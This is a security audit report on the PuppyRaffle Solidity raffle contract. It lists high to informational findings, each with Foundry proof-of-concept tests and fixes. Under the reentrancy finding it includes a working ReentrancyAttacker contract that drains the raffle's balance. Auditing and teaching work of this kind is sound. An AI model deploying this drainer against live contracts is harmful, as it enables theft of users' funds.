PuppyRaffle Audit Report

Version 1.0

scooljinstitute.com

January 16, 2024

PuppyRaffle Audit Report

Scoolj Institutte

January 16, 2024

Prepared by: Scoolj Institute Lead Auditors: - Scoolj, Oluwajuwonlo Joseph - Patrick Collins

Table of Contents

    * [M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` function is a potential denial of Service (DOS) attacks, incrementing gas costs for future entrants.
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- – Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- – Gas
    * [G-1] Inefficient Use of Variable Datatype
        · Immutable Variables:
        · Constant Variables:
    * [G-2] Storage varibale in a loop should be cached
- – Informational/Non-critical
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2] Using Outdated version of solidity could make the contract vulnerable to preventable attacks.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables. (Zero address Validation)
    * [I-4] `PuppyRaffle:: selectWinner` does not follow CEI, which is not a best practice.
    * [I-5] Use of “magic” numbers is discouraged
    * [I-6] `_isActivePlayer` function was never used and should be removed
    * [I-7] Test Coverage

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following: 1. Call the `enterRaffle` function with the following parameters: 1. `address[] participants` : A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. 2. Duplicate addresses are not allowed 3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy 5. The owner of the protocol will set a feeAddress to take a cut of the `value` (20%) and the rest of the funds will be sent to the winner of the puppy (80%).

Disclaimer

The Scoolj Institute team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This is an interesting protocol but required security review as recommended in this report.

Issues found

Severity	Number of issues Found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-#1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppleRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppleRaffle::players`

```
1     function refund(uint256 playerIndex) public {
2
3         address playerAddress = players[playerIndex];
4         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
6
7 @>      payable(msg.sender).sendValue(entranceFee);
8 @>      players[playerIndex] = address(0);
9
10        emit RaffleRefunded(playerAddress);
11    }
```

A player who has enter the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refunud. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppleRaffle::refund` function. 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

PoC

Place the following into `PupupleRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[]  memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =  address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();


        console.log("starting attacker contract balance:",
            startingAttackContractBalance);
        console.log("starting contract balance:",
            startingContractBalance);

        console.log("ending attacker contract balance:",  address(
            attackerContract).balance);
        console.log("ending contract balance:",  address(puppyRaffle).
            balance);


    }
```

And this contract as well:

PoC

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee =  puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppleRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

PoC

```
    function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
```

```
+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
          payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] Weak randomness in `PuppleRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` , and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

PoC

```
    function selectWinner() external {

        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");


@>        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;


        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

@>        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.
    sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
```

```
26              tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
27          }
28
29          delete players;
30          raffleStartTime = block.timestamp;
31          previousWinner = winner;
32          (bool success,) = winner.call{value: prizePool}("");
33          require(success, "PuppyRaffle: Failed to send prize pool to
                winner");
34          _safeMint(winner, tokenId);
35      }
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. see the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

using on-chain values as a randomness seed is a [well-documented attack vector] (https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar =  myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the c orrect amount of fees, leaving fees permanently stuck in the

contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. we then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```

require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.At some point , there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

```

    function testIntegerOverFlow() public playerEntered {

     //  We finish a raffle of 4 to collect some fees
     vm.warp(block.timestamp + duration + 1);
     vm.roll(block.number + 1 );
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum =  89;
    address[] memory players = new address[](playersNum);
    for(uint256 i=0; i < playersNum; i++) {
        players[i] = address(i);
    }

    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // we end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
       second raffle

    puppyRaffle.selectWinner();

```

```
28      uint256 endingTotalFees = puppyRaffle.totalFees();
29      console.log("ending total fees", endingTotalFees);
30      assert(endingTotalFees < startingTotalFees);
31
32
33      // We are also unable to withdraw any fee because of the require
            check
34
35      vm.prank(puppyRaffle.feeAddress());
36      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
37      puppyRaffle.withdrawFees();
38
39      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1  -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently  players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` function is a potential denial of Service (DOS) attacks, incrementing gas costs for future entrants.

Description: for loop in `PuppyRaffle::enterRaffle` to check for players duplicate would cost future players to enter the Raffle and it can also be used to launched DOS attack.

```
1      // Check for duplicates
2          for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Impact: DOS attack will break the protocol and it will also make protocol unusable as the player grow.

Proof of Concept: Add the following to `PuppyRaffleTest.t.sol` to view the incremental cost of gas as length of players grow.

Gas cost of the first 200 players: 20376509 Gas cost of the second 200 players: 67687270

Code

```
function testDOS_on_enterRaffle() public {

        vm.txGasPrice(1);

        uint256 playerNum = 200;
        address[] memory players = new address[](playerNum);
        for(uint256 i = 0; i < playerNum; i++){
           players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
           players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsedFirst
           );


        uint256 playerNum2 = 200;
        address[] memory playersTwo = new address[](playerNum2);
        for(uint256 i = 0; i < playerNum2; i++){
           playersTwo[i] = address(i +200);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum2}(
           playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
           gasprice;
        console.log("Gas cost of the first 100 players:",
           gasUsedSecond);
       assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: - The protocol should limit the number of players at a time. - Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesnt prevent the same person from entering multiple times, only the same wallet address. - Consider using mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

PoC

```
+     mapping(addresss => unit256) public addressToRaffleId;
+     uint256 public raffleId =0;
```

```
3
4         .
5         .
6         .
7         function enterRaffle(address[] memory newPlayers) public payable
              {
8             require(msg.value == entranceFee * newPlayers.length, "
                  PuppyRaffle:  Must send enough to enter raffle");
9             for (uint256 i =0;  i < newPlayers.length; i++){
10                players.push(newPlayers[i]);
11  +           addressToRaffleId[newPlayers[i]] = raffleId;
12            }
13
14  -       // Check for duplicate
15  +       //Check for duplicate only from the new players
16  +       for(uint256 i=0; i < newPlayers.length; i++){
17            require(addressToRaffleId[newPlayers[i]] != raffleId, "
                  PuppyRaffle: Duplicate player");
18
19            }
20  -       for(uint256 i =0; i < players.length; i++) {
21  -           for(uint256 j = i + 1; j < players.length; j++){
22                require(players[i] != players[j] , "PuppyRaffle:
                      Duplicate player");
23
24
25                }
26            }
27            emit RaffleEnter(newPlayers);
28        }
29
30        .
31        .
32        .
33
34        function selectWinner() external  {
35  +             raffleId = raffleId + 1;
36            require(bllock.timestamp >= raffleStartTime + raffleDuration,
                  "PuppyRaffle:  Raffle not over");
37        }
```

- Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzepplin.com/contracts

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cas of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1  function selectWinner() external {
```

```
2
3       ...
4
5        uint256 fee = (totalAmountCollected * 20) / 100;
6        totalFees = totalFees + uint64(fee);
7
8       ...
9   }
```

Impact: This will result to wrong fee then wrong totalFees

Proof of Concept:

PoC

```
1       function testUnsafeCastingOfFeeFromUint256ToUint64() public {
2
3            uint64 expectedValue =  18446744073709551615;
4           uint64 totalFee = 1;
5           uint256 fee  = 18446744073709551615;
6
7           address userR = makeAddr("userR");
8           vm.prank(userR);
9           totalFee = totalFee + uint64(fee);
10          console.log("Overflow output totalFee: ",  totalFee);
11          console.log("Overflow output expectedValue : ",  expectedValue)
                ;
12          assert(expectedValue == totalFee);
13      }
```

Recommended Mitigation:

- Considering using uint256 for the totalFees to avoid datatype casting.

PoC

```
1   -   uint64 public totalFees = 0;
2   +   uint256 public totalFees = 0;
3       .
4       .
5       .
6   -    totalFees = totalFees + uint64(fee);
7   +    totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` fimctopm could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone lese could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallvack or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!
4.

Recommended Mitigation: There are a few options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amoount so winners can pull their fund out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

PoC

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the palyer is not in the array.

```
    /// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }


```

```
11          return 0;
12      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppleRaffle::getActivePlayerIndex` return 0 3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: - The easiest recommendation would be to revert if the player is not in the array instead of returning 0. - You could also reserve the 0th position for any competition, - but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Inefficient Use of Variable Datatype

Description: The smart contract exhibits an inefficient usage of variables by employing state variables for values that remain constant throughout the contract's execution. This can lead to unnecessary gas consumption during transactions.

Recommended Mitigation:

Consider optimizing the use of variables by employing the following strategies:

Immutable Variables:

In the `PuppyRaffle` contract, specifically in variables like `raffleDuration` and `raffleStartTime`, it is advisable to declare them as immutable since their values are set once and remain unchanged during the contract's execution.

PoC

```
1 uint256 immutable i_raffleDuration;
2 uint256 immutable i_raffleStartTime;
```

Constant Variables:

In the `PuppyRaffle` contract, variables like `commonImageUri`, `rareImageUri`, and `legendaryImageUri` should be declared as constant if their values are intended to remain constant throughout the contract's lifecycle.

PoC

```
string constant COMMON_IMAGEURI = "ipfs://
    QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
string constant RARE_IMAGE_URI = "ipfs://
    QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
string constant LEGENDARY_IMAGE_URI = "ipfs://
    QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

By applying these changes, the gas efficiency of the contract can be improved, leading to cost-effective and optimized contract execution.

[G-2] Storage varibale in a loop should be cached

Description: storage variable was used in loop to check for duplicate entry in `PuppyRaffle::enterRaffle`.

PoC

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: This will lead to expensive execution of the contract.

Recommended Mitigation:

Everytime you call `players.length` you read from storage , as opposed to memory which is more gas efficient.

PoC

```
+   uint256 playersLength = players.length;

-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational/Non-critical

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using Outdated version of solidity could make the contract vulnerable to preventable attacks.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation:

Deploy with any of the following Solidity versions: `0.8.18`

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [Slither] https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables. (Zero address Validation)

Description: The `PuppyRaffle` contract does not validate that the `feeAddresss` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 68

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 183

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 207

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle:: selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1      function selectWinner() external {
2
3           .
4           .
5           .
6
7  -        (bool success,) = winner.call{value: prizePool}("");
8  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
9           _safeMint(winner, tokenId);
10 +        (bool success,) = winner.call{value: prizePool}("");
11 +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
12     }
```

[I-5] Use of "magic" numbers is discouraged

Description: It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given names.

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact: This leads to confusion understanding the contract.

Recommended Mitigation:

PoC

```
1
2      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
3      uint256 public constant FEE_PERCENTAGE = 20;
4      uint256 public constant POOL_PRECISION = 100;
```

[I-6] `_isActivePlayer` function was never used and should be removed

Description: The function_ `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
  function _isActivePlayer() internal view returns (bool) {

        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```

[I-7] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                            | % Lines        | % Statements   | %
   Branches     | % Funcs       |
|---------------------------------|----------------|----------------|----------------|

| script/DeployPuppyRaffle.sol | 0.00% (0/3)    | 0.00% (0/4)    |
   100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol          | 82.14% (46/56) | 83.54% (66/79) |
   67.86% (19/28) | 77.78% (7/9)  |
| test/PuppyRaffleTest.t.sol   | 87.50% (7/8)   | 88.89% (8/9)   |
   50.00% (1/2)   | 66.67% (2/3)  |
| Total                           | 79.10% (53/67) | 80.43% (74/92) |
   66.67% (20/30) | 69.23% (9/13) |
```

Recommended Mitigation: Increase test coverage to 90% or higher , especially for the Branches column.